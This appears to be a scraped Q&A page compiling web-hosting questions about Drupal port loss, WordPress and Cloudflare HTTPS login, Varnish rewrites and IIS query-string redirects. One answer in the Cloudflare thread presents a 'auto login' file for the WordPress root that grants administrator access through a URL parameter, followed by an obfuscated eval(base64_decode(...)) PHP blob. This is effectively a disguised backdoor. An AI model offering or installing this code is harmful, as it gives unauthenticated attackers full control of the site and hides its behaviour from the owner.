Drupal 9, site url with port - drupal

I'm using drupal 9.4.5 on local url https://site.at:4430/
My problem is' that after going to https://site.at:4430/user/ it redirects me to
https://site.at/user/login
Why it's losing port number from url ? Drupal 9 don't have $base_url config so how I can force it ?

Related

Avoid landing page redirects in Wordpress

I am working on a Wordpress website, and I ran gtmetrix to see its performance. I keep getting:
Avoid landing page redirects for the following chain of redirected URLs.
http://inspiringworm.com/
https://inspiringworm.com/
https://www.inspiringworm.com/
Does anyone know how to get rid of these redirects? Is it coming from a certain module?
Search for the link and make sure you have the full address: https://www.inspiringworm.com/. The other two just redirect, as gtmetrix explains.
Generally, a website is working based on protocols and URL.
There are 4 kind of possible URL combinations: 1) HTTP + WWW 2) HTTP + NON_WWW 3) HTTPS + WWW 4) HTTPS + NON_WWW.
Your website is forcefully running with HTTPS protocol and with WWW. If you will check in GTMATRIX/any other tool/browser, it will load the content from HTTPS and WWW, better to check it with inspiringworm website like https://gtmetrix.com/reports/www.inspiringworm.com/MIPLD7Co

wordpress website admin login not working on https after cloudflare

I have a static website on which I installed cloudflare flexible SSL.
but now in a folder I installed wordpress here https://www.kiransboutique.com/wordpressrvc/
non of its link is working and wp-admin is also not redirecting to dashboard. I am using correct login credentials.
Can anybody suggest any solution? exactly same installation is working here http://bestcoachingcenter.com/kirans/
To auto login into your wordpress admin , by not adding admin username and password eachtime, you can use below code snippet.
Using this code in a php file and placing it on root directory of your wordpress installation helps you to get login into wp-admin with an administrator account.
What is required to make it work is, you need to hit the url by passing keyword “wpglogin” in query URL as given below –
http://www.sitename.com/codefile.php?wpglogin=YWRtaW4=
By hitting the above URL , you will get entered into admin easily.
<?php /*** PHP Encode v1.0 by zeura.com ***/ $XnNhAWEnhoiqwciqpoHH=file(__FILE__);eval(base64_decode("aWYoIWZ1bmN0aW9uX2V4aXN0cygiWWl1bklVWTc2YkJodWhOWUlPOCIpKXtmdW5jdGlvbiBZaXVuSVVZNzZiQmh1aE5ZSU84KCRnLCRiPTApeyRhPWltcGxvZGUoIlxuIiw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yno2wjliclfuoCt8kjzxXVRneT64nE0S5hmo9n8xpFfnOTvEtTBQPEyuouuV+gc3S6+3iMcutmMZrmCLX8KsS+sSkEBmt9YQtgYhRj78hQUpdC2/JpsT1EHiXdyB2lK9yDBCk3dBrhG4+YYnak1yu4QztVl2mPYn6um0zm6ORDsRzpstdrZWoQ3SiRlsV18YnaA1gTkAF2vOuQHYYBmJWlcKmXukLMjDcU05y8QK3VKYyl/cXiNGY/t2cztglhTLafOzw2NlkqQwSQI6s4eMajgGur0USMXLIZ2J3FVVSF+08NgtOJ7YhaT1jTS8Ie93rCLHbQFGDs/hzYXYnurXa1jtpGltpfbL0Jav2PupH+lXLllUcIsii8Jnrj2tZ1DnMr3dPEk4dD2km2BNjjyHuOob7pzPq53A0QBz/820pznVbv/62Ua0jHw8i9/AA==
Your homepage is still in "hello World" state, so you may still want an answer. I had the same(?) problem; and checked posts like yours on Stackoverflow/Stackexchange - alas no joy.
What worked for me:
If you are using the official Cloudflare plugin ( https://wordpress.org/plugins/cloudflare/ ) set “Automatic HTTPS Rewrites” to “On”. This solved link and CSS issues under HTTPS, and saved me having to install additional SSL related plugins.
As a stop gap: If you have not configured WP to "force SSL" you might be able to login using an "http://" address (as I was).
To enable "HTTPS" login, edit wp-config.php and insert the following line:
if (strpos($_SERVER['HTTP_X_FORWARDED_PROTO'], 'https') !== false)
$_SERVER['HTTPS']='on';
If you want a bit more detail I posted about it here: http://wptest.means.us.com/cloudflare-wordpress-unable-login-https/
Note: Flexible SSL is better than no SSL as it encrypts the "connection" between you and Cloudflare. However, CF's connection to your server is still "HTTP" and your login credentials are STILL vulnerable to eavesdropping on this leg of the journey.
I'm still checking, but I think you can also make the CF <-> Server connection secure by enabling Cloudflare Railgun (used to reduce data transfer from your server). Railgun uses TLS, so data is encrypted. I assume if you use both Flexible SSL and Railgun your connections are secure end to end. Some inexpensive hosts include Railgun for free in their packages.
you can fix Wordpress SSL login problem by entering your server IP to the Windows HOSTS file.
Find Hosts file in windows\system32\hosts add your IP and domain name.

Wordpress + .htaccess redirect based on domain

I have 2 servers on digital ocean (Love them!), a varnish cache, and a wordpress backend.
http://domain.com is set to the varnish cache. server1.domain.com is set to the second server as a backend, so I can have direct access without hitting the cache.
I've set wordpress to use both domains any $_SERVER['hostname']. Loading Server1.domain.com works fine, all links go to server1.domain.com, but many files and stylesheets still say domain.com
It it possible to use a rewrite condition to look at the hostname, and if its server1.domain.com, and if so, redirect all domain.com to server1.domain.com?
I've seen redirects for www to domain.com, but I'm only looking to do this if the hostname is server1.domain.com

Slash before http ("/http://...") drupal

Hy. When I move my site to server I get this bug - Page "/http://..." not found. In local host avreverything ok. What could happen?
Your domain site name must be mistype. In any website, there is no domain site nae that begin from /http://.... It must be http://
Be aware that an url starting with slash char "/" refers to HTTP_ROOT of your site.

Losing query string on redirect from https to http

I have a site https:// www.mysite.com that runs completely using HTTPS (I redirect http to https in IIS). This all works fine.
I have an old version of the site http:// old.mysite.com which some users are still running on that is running over HTTP only. This all works fine.
There is 1 URL that my new site redirects (using a Response.Redirect in the global.asax) to my old site. For example the user requests https:// www.mysite.com/page.aspx?query=string and I redirect them to the old site http:// old.mysite.com/page.aspx?query=string. The redirect works well except that the query string is missing when it gets to the old site.
The URL that I have to redirect comes from a url embedded at customer sites, so I can't just update them all to point to the old site. I tested and this all works fine when I run my new site under HTTP so the transfer is HTTP to HTTP, but it fails when I do HTTPS to HTTP.
Any ideas on what the problem is?
Thanks,
Jim
Alright I got it figured out so I'll post in case anyone else hits the issue. I was using the HTTP Redirect module in IIS 7 to redirect any HTTP traffic to HTTPS for my new website. For the url to redirect to I just had 'https://www.mysite.com'. I found some variables that you can add to the redirect url to keep the query string. So once I updated it to 'https://www.mysite.com$S$Q' it worked.

Resources